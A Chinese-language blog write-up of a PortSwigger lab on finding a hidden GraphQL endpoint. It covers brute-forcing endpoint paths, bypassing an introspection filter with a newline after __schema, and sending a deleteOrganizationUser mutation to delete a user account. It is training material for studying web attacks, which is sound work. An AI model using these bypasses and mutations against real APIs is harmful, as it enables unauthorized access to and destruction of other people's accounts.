某不知名博客 某不知名博客
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)

Carsaid

安全界的小学生
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)
  • 前言

  • 服务器端主题(翻译)

  • 客户端主题(翻译)

  • 高级主题(翻译)

  • 扩展阅读(翻译)

  • 个人学习笔记

  • 实验室做题记录

    • 实验室做题记录
    • 服务器端

    • 客户端

    • 高级主题

      • 不安全的反序列化

      • GraphQL API漏洞

        • 学徒-访问私有GraphQL帖子
        • 从业者-意外暴露私有GraphQL字段
        • 从业者-查找隐藏的GraphQL端点
          • 题目
          • 实操
            • 发现GraphQL端点
            • 绕过端点防御
            • 绕过内省防御
            • 运行完整的内省查询
            • 利用变更
            • 其它完成姿势
        • 从业者-绕过GraphQL暴力破解保护
        • 从业者-通过GraphQL执行CSRF漏洞利用
      • 服务端模板注入

      • Web缓存投毒

      • HTTP主机头攻击

      • HTTP请求走私

      • OAuth身份验证漏洞

      • JWT攻击

      • 原型链污染

  • BurpSuite及官方实验室
  • 实验室做题记录
  • 高级主题
  • GraphQL API漏洞
carsaid
2023-11-07
目录

从业者-查找隐藏的GraphQL端点

# 实验室:查找隐藏的GraphQL端点

# 题目

此实验室的用户管理功能由一个隐藏的 GraphQL 端点提供支持。你无法简单地通过 单击站点中的页面 来找到此端点。端点还具有一些针对内省的防御措施。

若要解决实验室问题,请找到隐藏的端点并删除carlos账户。

我们建议你在尝试此实验之前安装 InQL 扩展。InQL 可以更轻松地在 Repeater 中修改 GraphQL 查询,并使你能够扫描 API 模式信息。

有关使用 InQL 的更多信息,请参阅在 Burp Suite 中使用 GraphQL (opens new window)。

实验室-从业者

查找隐藏的GraphQL端点 >>

- name: 实验室-从业者
  desc: 查找隐藏的GraphQL端点 >>
  avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
  link: https://portswigger.net/web-security/graphql/lab-graphql-find-the-endpoint
  bgColor: '#001350'
  textColor: '#4cc1ff'
1
2
3
4
5
6

# 实操

点击 “ACCESS THE LAB” 进入实验室。

Not Found Image

# 发现GraphQL端点

根据题目中所说,我们不能通过简单地访问网站来发现 GraphQL 端点。经过我的实际测试,确实找不到。

Not Found Image

但我们可以用另一种方式来查找端点,例如暴破。

捕获一个请求数据包,并转发至 Intruder 功能模块。然后将 HTTP 请求路径添加到选区。

Not Found Image

复制以下 GraphQL 通用端点名称,然后粘贴到载荷列表中。

/graphql
/graphql/graphql
/graphql/api
/graphql/api/v1
/api
/api/graphql
/api/v1/graphql
1
2
3
4
5
6
7

此外,还需要禁用最下方的 “URL encode these characters” 功能,因为它会将目录字符/编码为%2f,导致请求出错。

Not Found Image

攻击完成之后,你会发现路径/api返回了一个可疑的响应 “查询不存在”。

显然,这就是那个被藏起来的 GraphQL API 端点。

Not Found Image

# 绕过端点防御

把对/api的请求转发至 Repeater 功能模块,然后我添加了一个通用查询query{__typename}并以 POST 发送请求。

查看响应,返回了信息 “请求方法不被允许”。

Not Found Image

将内容类型修改为application/json,继续发送请求。

继续不允许......诶?等下?我的 JSON 数据怎么不亮啊......噢,写错了

Not Found Image

应该发送以下查询才对:

{
    "query": "query{__typename}"
}
1
2
3

还是不允许 POST 方法。

Not Found Image

将 HTTP 请求方法修改为GET,但是依旧采用POST传参。

成功访问端点!

Not Found Image

此外,如果 HTTP 方法为GET,传参方式也为GET的情况下。

也是可以访问端点的,但看起来貌似没GET方法 + POST传参那么好。

Not Found Image

# 绕过内省防御

尝试使用以下查询 来获取内省信息。你可以在 “Repeater --> GraphQL” 粘贴这个查询。

{
    __schema {
        queryType {
            name
        }
    }
}
1
2
3
4
5
6
7

发送请求,响应信息说 “GraphQL 内省不被允许,在查询中包含了__schema或__type字符”。

那为啥刚刚的 “query{__typename}” 没有被禁止?

Not Found Image

然后经过我一段时间的测试,发现只要在__schema和{字符之间,添加一个换行符\n即可绕过防御。

{"query": "{\n    __schema\n{\n        queryType {\n            name\n        }\n    }\n}"}
1

而且还必须在 “Pretty” 选项卡里面改,如果在 “GraphQL” 选项卡里面添加\n的话会出错,直接在 “GraphQL” 里面换行的话又会自动给你删掉换行并对齐......

Not Found Image

# 运行完整的内省查询

由于 InQL 扩展无法通过GET方法来进行内省查询,所以我们需要手动获取内省信息,保存为 JSON 文件后再上传给 InQL 扩展进行分析。

这是完整的查询,有点长所以折叠起来了
query IntrospectionQuery {
    __schema {
        queryType {
            name
        }
        mutationType {
            name
        }
        subscriptionType {
            name
        }
        types {
            ...FullType
        }
        directives {
            name
            description
            args {
                ...InputValue
            }
        }
    }
}

fragment FullType on __Type {
    kind
    name
    description
    fields(includeDeprecated: true) {
        name
        description
        args {
            ...InputValue
        }
        type {
            ...TypeRef
        }
        isDeprecated
        deprecationReason
    }
    inputFields {
        ...InputValue
    }
    interfaces {
        ...TypeRef
    }
    enumValues(includeDeprecated: true) {
        name
        description
        isDeprecated
        deprecationReason
    }
    possibleTypes {
        ...TypeRef
    }
}

fragment InputValue on __InputValue {
    name
    description
    type {
        ...TypeRef
    }
    defaultValue
}

fragment TypeRef on __Type {
    kind
    name
    ofType {
        kind
        name
        ofType {
            kind
            name
            ofType {
                kind
                name
            }
        }
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82

然后还必须再次手动添加\n换行符,以绕过内省防御。

查询响应信息,有三个字段被禁止,还记得理论知识学过什么吗?

笔记

如果启用了内省,但上述查询没有运行,请尝试从查询结构中删除onOperation、onFragment和onField指令。许多端点不接受这些指令(作为内省查询的一部分时),删除它们之后,你通常可以更成功地进行内省。

Not Found Image

找到所说的三个指令,删除它们。

Not Found Image

再次发送完整的内省查询。这是 JSON 格式的:

{"query": "query IntrospectionQuery {\n    __schema\n{\n        queryType {\n            name\n        }\n        mutationType {\n            name\n        }\n        subscriptionType {\n            name\n        }\n        types {\n            ...FullType\n        }\n        directives {\n            name\n            description\n            args {\n                ...InputValue\n            }\n        }\n    }\n}\n\nfragment FullType on __Type {\n    kind\n    name\n    description\n    fields(includeDeprecated: true) {\n        name\n        description\n        args {\n            ...InputValue\n        }\n        type {\n            ...TypeRef\n        }\n        isDeprecated\n        deprecationReason\n    }\n    inputFields {\n        ...InputValue\n    }\n    interfaces {\n        ...TypeRef\n    }\n    enumValues(includeDeprecated: true) {\n        name\n        description\n        isDeprecated\n        deprecationReason\n    }\n    possibleTypes {\n        ...TypeRef\n    }\n}\n\nfragment InputValue on __InputValue {\n    name\n    description\n    type {\n        ...TypeRef\n    }\n    defaultValue\n}\n\nfragment TypeRef on __Type {\n    kind\n    name\n    ofType {\n        kind\n        name\n        ofType {\n            kind\n            name\n            ofType {\n                kind\n                name\n            }\n        }\n    }\n}"}
1

在响应中可以看到 API 端点的所有模式信息。

Not Found Image

在响应数据包中复制所有模式信息,保存为一个.json文件。

Not Found Image

切换到 InQL 选项卡,以文件的方式,将目标站点的模式信息提供给 InQL 扩展。

Not Found Image

此外,你还需要在 “1. Provide URL of the GraphQL endpoint” 中输入正确的 GraphQL 端点 URL。

如果只生成了文件,但是没填 URL,是无法生成可视化信息的。

Not Found Image

点击 “Analyze” 之后即可生成有关于目标站点的 API 模式信息。

发现一个查询对象getUser,复制所有查询字段。

Not Found Image

添加参数id: 1,可以看到管理员账户的用户名,但是没有密码,因为对象getUser不包含任何敏感字段。

噢不,他们学聪明了!

Not Found Image

# 利用变更

先确认 carlos 账户的 ID 编号为3。

Not Found Image

在先前的模式信息中,除了查询对象getUser以外,还有一个变更对象deleteOrganizationUser。

这个变更对象可以用来删除账户,你明白怎么做了吧?

mutation {
    deleteOrganizationUser(input: DeleteOrganizationUserInput) {
        user {
            id
            username
        }
    }
}
1
2
3
4
5
6
7
8

直接粘贴这个变更对象,然后发送请求。

但是这个变更对象还需要你键入一个DeleteOrganizationUserInput参数,可是我不知道这个参数具体是什么。是一个数值?一个字符串?还是别的什么?

Not Found Image

别急,我们依旧可以在 API 模式信息中找到关于DeleteOrganizationUserInput参数的信息。

搜索关键字,找到DeleteOrganizationUserInput参数的信息:

  • kind的值是INPUT_OBJECT,表示需要输入一个对象
  • inputFields说明了在该对象中,所需要包含的字段
  • 很幸运,这个对象里面只包含一个字段,就是inputFields.name的值id
  • 而inputFields.type.ofType.name说明了这个字段的类型是一个Int(数值)

所以,DeleteOrganizationUserInput是一个对象,包含一个类型为Int的字段id,它看起来就像这样:

DeleteOrganizationUserInput: {id: 1}
1
Not Found Image

直接传入参数{id: 3},以删除 carlos 账户。

mutation {
    deleteOrganizationUser(input: { id: 3 }) {
        user {
            id
            username
        }
    }
}
1
2
3
4
5
6
7
8

端点返回了正常信息,说明变更请求执行成功。

Not Found Image

实验完成。

Not Found Image

# 其它完成姿势

如果你觉得直接提供{id: 3}太无趣了,可以试试变量:

mutation del($input: DeleteOrganizationUserInput) {
    deleteOrganizationUser(input: $input) {
        user {
            id
            username
        }
    }
}

{
    "input": {
        "id": 2
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14

del($input: DeleteOrganizationUserInput)是为了声明变量,不声明就没法使用。

  • 变更名称del + 括号
  • 声明变量input的类型为DeleteOrganizationUserInput
Not Found Image

变量名称$input不一定要和变更对象中的input一致,它可以是任何名称,例如$params。

Not Found Image
编辑 (opens new window)
从业者-意外暴露私有GraphQL字段
从业者-绕过GraphQL暴力破解保护

← 从业者-意外暴露私有GraphQL字段 从业者-绕过GraphQL暴力破解保护→

最近更新
01
API测试笔记
04-30
02
msfvenom
03-29
03
Metasploit
03-29
更多文章>
Theme by Vdoing | Copyright © 2023-2024 Carsaid | MIT License
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式